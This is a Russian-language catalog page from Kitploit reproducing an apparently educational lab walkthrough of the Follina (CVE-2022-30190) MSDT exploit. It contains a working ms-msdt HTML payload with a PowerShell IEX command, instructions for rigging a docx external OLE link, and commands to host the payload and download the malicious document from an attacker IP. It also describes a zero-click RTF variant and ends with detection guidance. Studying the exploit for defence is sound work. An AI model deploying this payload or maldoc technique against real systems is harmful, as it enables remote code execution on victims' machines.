Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Follina_MSDT_CVE-2022-30190 — Образовательный эксплойт для CVE-2022-30190 (Follina), демонстрирующий удаленное выполнение кода через MSDT с помощью вредоносных документов Office, с рекомендациями по обнаружению и смягчению последствий. | Kitploit
Инструменты/GitHubGitHub/muhammad-ali007/follina_msdt_cve-2022-30190
Оборонительные ИнструментыАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФорензикаТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеРеагирование на Инциденты
Разработка Полезной Нагрузки
Лаборатории и Практика
GitHubmuhammad-ali007/follina_msdt_cve-2022-30190

Follina_MSDT_CVE-2022-30190

Образовательный эксплойт для CVE-2022-30190 (Follina), демонстрирующий удаленное выполнение кода через MSDT с помощью вредоносных документов Office, с рекомендациями по обнаружению и смягчению последствий.

Репозиторий
12123 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Microsoft объясняет, что «уязвимость удаленного выполнения кода существует, когда MSDT вызывается с использованием протокола URL из вызывающего приложения, такого как Word. Злоумышленник, успешно использующий эту уязвимость, может запускать произвольный код с привилегиями вызывающего приложения. Затем злоумышленник может устанавливать программы, просматривать, изменять или удалять данные, или создавать новые учетные записи в контексте, разрешенном правами пользователя». (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)

Microsoft заявляет, что «Средство диагностики поддержки Microsoft (MSDT) собирает информацию для отправки в службу поддержки Microsoft. Они проанализируют эту информацию и используют ее для определения решения любых проблем, с которыми вы можете столкнуться на своем компьютере». Учитывая это, это, по сути, способ для службы поддержки Microsoft немедленно увидеть, что не так, поскольку они получают всю необходимую информацию прямо из источника.

Объяснение эксплойта

Начнем с дисклеймера: для наших целей мы будем загружать нашу полезную нагрузку через документ Word, в частности, в формате .docx – это оригинальный эксплойт, который был обнаружен в дикой природе. Однако эта уязвимость, как было доказано, работает и с другими продуктами Office.

Два важных аспекта этой уязвимости:

  1. Специфические файлы docx содержат ссылки на OLE (изначально сокращение от Object Linking and Embedding - связывание и внедрение объектов), и иногда они принимают форму HTML-файлов, размещенных в другом месте.
  2. MS-MSDT позволяет выполнять код.

Объединив два вышеуказанных аспекта, можно использовать схему MS-MSDT HTML для выполнения кода PowerShell, а файл docx можно использовать для его загрузки через возможность внешних ссылок Word.

Если углубиться в структуру docx, файл "word/_rels/document.xml.rels" содержит XML-тег с атрибутом Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject", который описывает внешнюю ссылку OLE. Чтобы использовать эту возможность docx, мы можем изменить содержимое этого тега, указав вместо него на полезную нагрузку, которую мы размещаем, изменив значение Target на http://<внешний_сервер_полезной_нагрузки.com>/<полезная_нагрузка.html>, а значение TargetMode на "External".

В файле word/document.xml есть XML-тег, начинающийся с <o:OLEObject...>, в котором мы должны изменить значение Type на "Link", а затем добавить пару "ключ-значение" атрибута UpdateMode="OnCall".

Единственное, что осталось сделать, это разместить полезную нагрузку, к которой будет подключаться файл Word и от которой будет получать инструкции при открытии файла. Это делается путем создания HTML-файла со структурой, подобной следующей:

<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA должно повторяться >60 раз
  window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>

В содержимом HTML-файла выше вы заметите команду ms-msdt:/id PCWDiagnostic /skip force /param, а также переключатели команд, которые можно использовать для задания команды, которую вы хотите выполнить на целевой машине. Затем вы можете комбинировать полезную нагрузку под свои цели.

Таким образом, теперь у нас есть способ добиться удаленного выполнения кода без использования макросов, и, как мы увидим позже, даже без открытия вредоносного документа.

Общедоступный эксплойт (https://github.com/JohnHammond/msdt-follina)

Джон Хаммонд создал инструмент для автоматизации процесса создания вредоносного документа (maldoc) и, соответственно, размещения вредоносного HTML-файла, содержащего вредоносную команду. Инструмент описан по ссылке выше, и мы будем использовать его форк, чтобы лучше понять концепцию эксплойта, упомянутую ранее.

Откройте терминал, клонируйте этот репозиторий и перейдите в рабочий каталог, куда был клонирован репозиторий msdt-follina.

root@host:~/Follina-MSDT# python3 follina.py

После запуска эксплойта файл уже должен быть размещен, поэтому он готов к «доставке» на машину жертвы. Не закрывая исходный терминал, откройте еще один терминал и введите следующую команду для размещения файлов на сервере:

root@host:~/Follina-MSDT# python -m http.server 3456

На целевой машине откройте командную строку и введите следующую команду:

C:\Users\user> cd Desktop
C:\Users\user\Desktop> curl http://[IP_атакующей_машины]:3456/follina.doc -o follina.docx

Это загружает maldoc на нашу машину, и вскоре после этого на рабочем столе должен появиться файл Word с именем follina.docx, готовый к запуску. Когда будете готовы, откройте файл и посмотрите, что произойдет. Пока что давайте оставим maldoc и все, что он породил, работать.

Реализация «Zero Click»

Чтобы воспроизвести реализацию «zero click» этой уязвимости, мы просто переходим к вредоносному файлу Word, добавляем симпатичное сообщение (совершенно необязательно), сохраняем его в формате Rich Text Format (RTF), и все готово. Эта реализация предполагает, что машина жертвы находится в режиме предварительного просмотра (preview pane), иначе она вернется к исходной функциональности, которая все равно будет запущена при открытии файла.

Откройте проводник файлов и перейдите в папку «Рабочий стол». Там вы увидите, казалось бы, честный файл, который мы создали, требующий нажатия. Щелкните по нему один раз, стараясь не открывать его на самом деле, и посмотрите, что произойдет.

Несмотря на то, что файл не был открыт, эксплойт сработал так же, как и ранее в этом упражнении. Это произошло из-за двух ключевых особенностей:

  1. Возможность проводника файлов предварительно просматривать файлы перед их открытием.
  2. RTF, который позволяет (среди прочих целей) предварительно просматривать файлы документов в проводнике файлов перед открытием.

Объединение этих двух функций и их злоупотребление приводит к вектору атаки, который мы только что наблюдали.

Обнаружение и смягчение последствий

Охота за угрозами

Машина Windows, которую мы использовали для изучения эксплуатации уязвимости, была предварительно настроена с включенным журналированием для:

  • Audit Process Creation (Аудит создания процессов)
  • Command Line Process Auditing (Аудит командной строки процессов)
  • Script Block Logging (Журналирование блоков скриптов)

Эти механизмы аудита не настроены по умолчанию, и поэтому крайне важно включить их в ваших собственных средах, чтобы помочь в обнаружении подозрительного поведения и сохранить ценные данные для судебных экспертов.

В ходе предыдущего процесса мы выявили ряд интересных созданий процессов при эксплуатации уязвимости. Эти создания процессов регистрируются в журналах безопасности Windows и готовы к анализу с помощью вашего любимого средства просмотра или пересылке в централизованный сборщик журналов для последующей обработки и использования.

Для этой задачи мы будем использовать Event Log Viewer для Windows от Nirsoft, чтобы просмотреть создания процессов, которые мы выявили ранее. Затем мы найдем детали в этих созданиях процессов, которые можно использовать для поиска улик в других журналах событий, чтобы лучше объяснить, что произошло за кулисами.

Откройте FullEventLogView. Перейдите в View > Use Quick Filter. Строка поиска должна появиться вверху журналов, что позволит нам выполнять быстрый поиск. Поскольку мы хотели проверить детали наших созданий процессов, мы можем нажать на крайнее левое выпадающее меню и выбрать Find Event ID (space/comma...), затем ввести 4688 в строку поиска.

Экран должен заполниться событиями создания процессов, и вы сразу заметите, что их огромное количество, несмотря на минимальное взаимодействие с машиной.

Скачать инструмент